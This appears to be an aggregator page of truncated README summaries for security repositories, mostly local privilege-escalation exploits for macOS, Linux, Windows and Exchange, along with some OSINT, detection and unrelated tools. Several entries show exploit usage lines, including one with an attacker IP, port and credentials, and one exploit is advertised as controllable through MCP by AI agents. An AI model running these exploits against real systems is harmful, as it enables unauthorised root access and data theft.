physmem

physmem physmem は物理メモリ検査ツールであり、macOS 10.12.1 までのローカル特権昇格を標的としています。対象に応じて CVE-2016-1825 または CVE-2016-7617 を悪用します。これら2つの脆弱性はほぼ同一であり、全く同じ方法で悪用できます。それぞれ OS X El Capitan 10.11.5 および macOS Sierra 10.12.2 で修正されました。 これらはロジックバグであるため、非常に信頼性の高い悪用が可能です。これらの脆弱性を（正しく）悪用するプログラムを数万回実行しても、まだパニックを経験したことはありません。...

copy-fail-mcp

Copy Fail MCP 📖 インストールガイド — クイックスタート、手動セットアップ、トラブルシューティング CVE-2026-31431 — これまでに発見された最悪のLinux脆弱性。今やMCPで制御可能。 732バイトのPythonコード。コンパイル不要。レースコンディションなし。ディストリビューションごとのオフセット不要。 ワンショットで、2017年以降にビルドされたすべてのLinuxカーネルでユニバーサルなroot権限を取得できる。...

kernel-exploits

Linux kernel exploits Date| Link| Description| Vector| Impact ---|---|---|---|--- 02.2016| CVE-2016-2384| USB MIDI ドライバーでの二重解放| USB + ローカル| LPE 03.2016| prefetch-side-channel| prefetch による KASLR バイパス| ローカル| 情報漏えい 12.2016| CVE-2016-9793| ソケットバッファーでの符号付き/符号なしの問題| ローカル + capnetadmin| LPE 02.2017|...

mosh

Mosh: the mobile shell Mosh is a remote terminal application that supports intermittent connectivity, allows roaming, and provides speculative local echo and line editing of user keystrokes. It aims to support the typical interactive uses of SSH, plus: Mosh keeps the session alive if the client...

mosh

Mosh: モバイルシェル Mosh は、断続的な接続をサポートし、ローミングを可能にし、投機的なローカルエコーとユーザーのキーストロークの行編集を提供するリモートターミナルアプリケーションです。 SSH の典型的な対話的用途をサポートすることに加えて、以下を目指しています。 Mosh は、クライアントがスリープして後で起きたり、インターネット接続を一時的に失った場合でも、セッションを維持します。 Mosh は、接続を維持しながら、クライアントとサーバーが IP アドレスを「ローミング」して変更することを可能にします。SSH とは異なり、Mosh は Wi-Fi...

lxd-group-privesc-report

LXD Root lxd グループのデフォルトのメンバーシップと、Ubuntu の lxd-installer パッケージを介した root へのローカル権限昇格。 デモは AWS EC2 Ubuntu Server 26.04 で実行されます 問題は、Ubuntu Server 26.04 のデフォルトインストールが、プライマリユーザーに lxd グループのメンバーシップを黙って付与し、その一方で、このグループは LXD の信頼モデルではパスワードなしの root...

SdoKeyCrypt-sys-local-privilege-elevation

SdoKeyCrypt.sys - ローカル特権昇格の脆弱性 1. SdoKeyCrypt.sys とは何ですか？ SdoKeyCrypt.sys は、中国の Shanda Group が運営する MapleStory Online と呼ばれる MMORPG（Massively-Multiplayer-Online-Role-Playing-Game）用のキーボード保護ドライバです。 ゲーム公式サイト: http://mxd.sdo.com. 言語: 中国語 このドライバは、ゲームが初回起動時に C:\Windows\System32...

CVE-2026-45504

CVE-2026-45504 Exchange ファイル読み取り CVE-2026-45504 Exchange ファイル読み取り 研究ブログ python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

CVE-2026-50343-InstallService-EoP

CVE-2026-50343: InstallService StaticPluginMap EoP 표준 사용자에서 SYSTEM으로 저는 독립적으로 발견하여 CVE-2026-50343으로 추적되는 취약점을 보고했습니다. MSRC는 제 제출물을 다른 연구자의 이전 보고서와 중복된 것으로 확인했습니다. 표준 대화형 사용자는 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State 아래에 공격자 제어 플러그인 상태를 쓸 수 있습니다. Microsoft Store Install...

CVE-2023-0386

README root@kitploit: gcc -Wall exp.c pkg-config fuse --cflags --libs -o exp ./exp /tmp 脆弱性分析 本記事の理論知識（名前空間、オーバーレイファイルシステム、FUSEファイルシステム等）はすべてchatGPTから得たものです。 脆弱性の概要 脆弱性ID: CVE-2023-0386 脆弱性製品: linux kernel - オーバーレイファイルシステム 影響範囲: 5.11 5.19 利用条件: unshare可能、またはオーバーレイファイルシステムを作成可能 利用効果: ローカル権限昇格 環境構築...

sarenka

♥ 무료 소프트웨어, 타사 서비스에 무료 계정만 필요 ♥ 지식의 부족... 그것이 문제입니다. William Edwards Deming SARENKA 는 공격 표면을 획득하고 이해하는 데 도움을 주는 오픈 소스 인텔리전스OSINT 도구입니다. 주요 목표는 인터넷에 연결된 장치에 대한 검색 엔진에서 정보를 수집하는 것입니다 https://censys.io/ , https://www.shodan.io/ , https://www.criminalip.io/ko. CVECommon Vulnerabilities and Exposures,...

SUDO_KILLER

⭐ GitHub에서 별표를 눌러 지지를 보여주세요! 💡 다크 모드에서 가장 잘 보입니다 : SUDOKILLER 프로젝트는 2023년 SANS Difference Award 오픈소스 도구 부문 결선에 진출했습니다. 기여 시간별 Stargazers 지원 크레딧 면책 조항 라이선스 소개 SUDOKILLER는 사이버 보안 실무자침투 테스터, 보안 감사자, 시스템 관리자, CTF 플레이어, 정보보안 학생를 대상으로 하는 도구로, Linux 환경에서 권한 상승을 용이하게 합니다. 이 도구는 sudo 규칙의 잘못된 구성, 버전 기반...

CVE-2015-8543_for_SLE12SP1

$cat /etc/-release root@kitploit: PRETTYNAME="SUSE Linux Enterprise Server 12 SP1" $id root@kitploit: uid=1000jeremysp1 gid=100users groups=100users $sudo sh disablesecurity.sh $gcc exp.c -o exp 2/dev/null $../nsjail/nsjail -Mo --user 0 --group 0 --keepcaps --chroot / -- /bin/sh -i sh-4.2...

CVE-2022-46364-Proof-of-the-concept

CVE-2022-46364: Apache CXF MTOM XOP:Include SSRFからLFIへのエクスプロイト ⚠️ 免責事項 このツールは教育目的および許可されたセキュリティテスト専用です...

santamon

Santamon 경량 macOS 탐지 사이드카로, Santa와 함께 동작하며 Endpoint Security 텔레메트리를 CEL 규칙으로 로컬에서 평가하고, 매칭된 탐지 신호만 백엔드 서버로 전달합니다. 실험적 단계. 홈 랩 및 소규모 플릿용으로 제작되었습니다. 초기 릴리스 – 버그 및 API 변경이 있을 수 있습니다. 기능 설명 Santamon은 Santa의 protobuf 텔레메트리 스트림을 읽고, CEL 표현식을 사용하여 탐지 규칙을 평가한 후, 보안 신호를 백엔드로 전송합니다. 원시 텔레메트리는 엔드포인트에 남으며, 탐...

Crucix

Crucix あなた自身のインテリジェンス端末。27の情報源。1つのコマンド。クラウド不要。 ライブサイトを見る: crucix.live -orange シグナルネットワークに参加 その他のスクリーンショット ブートシーケンス| ワールドマップ ---|--- | ライブウェブサイト: https://www.crucix.live/ 先に公開デモを試してから、リポジトリをクローンしてCrucixをローカルで実行してください。 Crucixは、衛星火災検知、航...

CVE-2026-41651

🔥 CVE-2026-41651 — PackageKit TOCTOU ローカル権限昇格 Pack2TheRoot PackageKit デーモンを標的としたローカル権限昇格エクスプロイト。 TOCTOU 競合状態の脆弱性を利用して、非特権ローカルユーザーから root に権限昇格します。 📌 概要 CVE-2026-41651 別名 Pack2TheRoot は、多くの Linux ディストリビューションでパッケージ管理抽象化に使用されるシステムサービス PackageKit における重大な TOCTOU Time-Of-Check to Time-Of-Use 競合状態の脆弱性です...

CVE-2025-32463

CVE-2025-32463 検出フレームワーク sudo chroot 権限昇格の脆弱性 CVE-2025-32463 を狙った悪用試行を識別するための包括的なセキュリティ監視・検出フレームワークです。このプロジェクトは、高度な脅威検出手法、インシデント対応能力、および防御セキュリティエンジニアリングを示しています。 🔍 概要 CVE-2025-32463 は、sudo バージョン 1.9.14 から 1.9.17 における重大な権限昇格の脆弱性であり、--chroot オプション使用時に /etc/nsswitch.conf を操作することでローカルユーザーが root...

RemoteAssistance-Cpp

RemoteAssistance-Cpp RemoteAssistance（TeamViewerのような）C++バージョン https://dydtjr1128.github.io/RemoteAssistance-Cpp/ Java Swing版も作成しました = Link このバージョンはローカルミラーリングまでしか実装されておらず、ネットワークはまだ使用していません。 ToDo - x 画面キャプチャ - x ダブルバッファリング - ネットワークコード（ソケット）の追加 - 画像転送の計画 - Boost asioまたはIOCP - SIMD比較 -...

CVE-2022-37969

CVE-2022-37969 Windows 로컬 권한 상승 PoC 저자: Ricardo Narvaja & Daniel Kazimirow Solid 데모 목적으로만 사용하십시오. 완전한 익스플로잇은 취약한 Windows 11 21H2 시스템에서 작동합니다. 이전에 Zscaler가 게시한 정보를 기반으로 한 기능적 PoC입니다. 관련 분석 문서는 Understanding the CVE-2022-37969 Windows Common Log File System Driver Local Privilege Escalation에서 확인하세요...